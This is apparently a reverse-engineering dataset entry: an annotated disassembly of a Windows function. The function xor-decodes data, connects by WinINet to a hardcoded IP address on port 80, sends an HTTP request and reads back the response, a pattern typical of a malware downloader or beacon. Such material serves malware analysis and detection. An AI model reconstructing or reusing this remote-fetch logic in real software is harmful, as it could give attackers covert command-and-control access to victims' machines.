Function at 0x403bc0
Capabilities:
Connect to http server
Create http request
Encode data using xor
Read data from internet
Receive data
Send data
Send http request

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff8
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x420387
mov eax, dword fs:[0]
push eax
push ebx
sub esp, 0x8a0
mov eax, dword [0x42f068]
xor eax, ebp
mov dword [ebp - 0x14], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 4], 0
xorps xmm0, xmm0
mov eax, dword [0x42c100]
movups xmmword [ebp - 0x830], xmm0
mov dword [ebp - 0x828], eax
mov ax, word [0x42c104]
movq xmm0, qword [str.213.238.177.241]
mov word [ebp - 0x824], ax
movzx eax, byte [0x42c106]
mov dword [ebp - 0x820], 0xf
mov dword [ebp - 0x81c], 0xf
movq qword [ebp - 0x830], xmm0
mov byte [ebp - 0x822], al
mov byte [ebp - 0x821], 0
mov eax, dword [str.malke]
xorps xmm0, xmm0
movups xmmword [ebp - 0x878], xmm0
mov dword [ebp - 0x878], eax
movzx eax, byte [0x42c10c]
mov dword [ebp - 0x868], 5
mov dword [ebp - 0x864], 0xf
mov byte [ebp - 0x874], al
mov byte [ebp - 0x873], 0
lea eax, [ebp - 0x830]
mov byte [ebp - 4], 2
push eax
lea ecx, [ebp - 0x8a8]
call fcn.00405a00
lea eax, [ebp - 0x8a8]
mov byte [ebp - 4], 3
push eax
lea ecx, [ebp - 0x860]
call fcn.00405a00
xor edi, edi
cmp dword [ebp - 0x898], edi
jbe 0x403d2c
lea ecx, [edi + 5]
nop dword [eax + eax]
cmp dword [ebp - 0x894], 0x10
lea esi, [ebp - 0x8a8]
mov eax, edi
cmovae esi, dword [ebp - 0x8a8]
xor edx, edx
div ecx
mov al, byte [esi + edi]
lea ecx, [ebp - 0x878]
add ecx, edx
cmp dword [ebp - 0x84c], 0x10
lea edx, [ebp - 0x860]
cmovae edx, dword [ebp - 0x860]
xor al, byte [ecx]
mov ecx, 5
mov byte [edx + edi], al
inc edi
cmp edi, dword [ebp - 0x898]
jb 0x403ce0
mov byte [ebp - 4], 2
mov ecx, dword [ebp - 0x894]
cmp ecx, 0x10
jb 0x403d6a
mov edx, dword [ebp - 0x8a8]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x403d60
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40409f
push ecx
push edx
call fcn.00408052
add esp, 8
xorps xmm0, xmm0
mov dword [ebp - 0x838], 0
movups xmmword [ebp - 0x848], xmm0
mov dword [ebp - 0x834], 0xf
mov byte [ebp - 0x848], 0
push 0
push 0
push 0
push 1
push 0x42b8b3
mov byte [ebp - 4], 5
call dword [sym.imp.WININET.dll_InternetOpenA]
mov ecx, eax
mov dword [ebp - 0x880], ecx
push 0
push 0
test ecx, ecx
je 0x4040a4
cmp dword [ebp - 0x81c], 0x10
lea eax, [ebp - 0x830]
push 3
cmovae eax, dword [ebp - 0x830]
push 0
push 0
push 0x50
push eax
push ecx
call dword [sym.imp.WININET.dll_InternetConnectA]
mov ecx, eax
mov dword [ebp - 0x88c], ecx
push 0
test ecx, ecx
je 0x4040b8
cmp dword [ebx + 0x1c], 0x10
lea eax, [ebx + 8]
push 0x4080000
cmovae eax, dword [ebx + 8]
push 0
push 0
push 0
push eax
push 0x42c120
push ecx
call dword [sym.imp.WININET.dll_HttpOpenRequestA]
mov esi, eax
mov dword [ebp - 0x884], esi
test esi, esi
je 0x4040ce
push 0x400
lea eax, [ebp - 0x818]
push 0
push eax
call fcn.00409780
lea ecx, [ebp - 0x818]
add esp, 0xc
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x403e42
sub ecx, edx
lea eax, [ebp - 0x818]
push ecx
push eax
push 0x2a
push str.Content_Type:_text_html_r_nUser_Agent:_Retri
push esi
call dword [sym.imp.WININET.dll_HttpSendRequestA]
test eax, eax
je 0x4040e6
push 0x400
lea eax, [ebp - 0x418]
push 0
push eax
call fcn.00409780
add esp, 0xc
mov dword [ebp - 0x87c], 0
lea eax, [ebp - 0x87c]
push eax
push 0x3ff
lea eax, [ebp - 0x418]
push eax
push esi
call dword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
je 0x403f4c
nop dword [eax + eax]
mov edi, dword [ebp - 0x87c]
test edi, edi
je 0x403f4c
mov edx, dword [ebp - 0x834]
mov eax, edx
mov ecx, dword [ebp - 0x838]
sub eax, ecx
push edi
cmp edi, eax
ja 0x403f0a
lea eax, [ecx + edi]
cmp edx, 0x10
mov dword [ebp - 0x838], eax
lea esi, [ebp - 0x848]
cmovae esi, dword [ebp - 0x848]
lea eax, [ebp - 0x418]
add esi, ecx
push eax
push esi
call fcn.004091f0
mov byte [edi + esi], 0
add esp, 0xc
mov esi, dword [ebp - 0x884]
jmp 0x403f2a
lea eax, [ebp - 0x418]
mov byte [ebp - 0x888], 0
push eax
push dword [ebp - 0x888]
lea ecx, [ebp - 0x848]
push edi
call fcn.00406560
lea eax, [ebp - 0x87c]
push eax
push 0x3ff
lea eax, [ebp - 0x418]
push eax
push esi
call dword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
jne 0x403eb0
push esi
mov esi, dword [sym.imp.WININET.dll_InternetCloseHandle]
call esi
push dword [ebp - 0x88c]
call esi
push dword [ebp - 0x880]
call esi
movups xmm0, xmmword [ebp - 0x848]
mov ecx, dword [ebp - 0x84c]
mov byte [ebp - 0x848], 0
movups xmmword [0x430cdc], xmm0
movq xmm0, qword [ebp - 0x838]
movq qword [0x430cec], xmm0
mov dword [ebp - 0x838], 0
mov dword [ebp - 0x834], 0xf
cmp ecx, 0x10
jb 0x403fd8
mov edx, dword [ebp - 0x860]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x403fce
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4040fe
push ecx
push edx
call fcn.00408052
add esp, 8
mov ecx, dword [ebp - 0x81c]
mov dword [ebp - 0x850], 0
mov dword [ebp - 0x84c], 0xf
mov byte [ebp - 0x860], 0
cmp ecx, 0x10
jb 0x40402d
mov edx, dword [ebp - 0x830]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x404023
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4040fe
push ecx
push edx
call fcn.00408052
add esp, 8
mov ecx, dword [ebx + 0x1c]
mov dword [ebp - 0x820], 0
mov dword [ebp - 0x81c], 0xf
mov byte [ebp - 0x830], 0
cmp ecx, 0x10
jb 0x40407c
mov edx, dword [ebx + 8]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x404072
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4040fe
push ecx
push edx
call fcn.00408052
add esp, 8
mov eax, 0x430cdc
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.00407bd9
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret
call fcn.0040e247
push str.Error_1
push 0
call dword [sym.imp.USER32.dll_MessageBoxA]
push 0
call fcn.0040c862
push 0
push str.Error_2
push 0
call dword [sym.imp.USER32.dll_MessageBoxA]
push 0
call fcn.0040c862
push 0
push 0
push str.Error_3
push 0
call dword [sym.imp.USER32.dll_MessageBoxA]
push 0
call fcn.0040c862
push 0
push 0
push str.Error_4
push 0
call dword [sym.imp.USER32.dll_MessageBoxA]
push 0
call fcn.0040c862
call fcn.0040e247
int3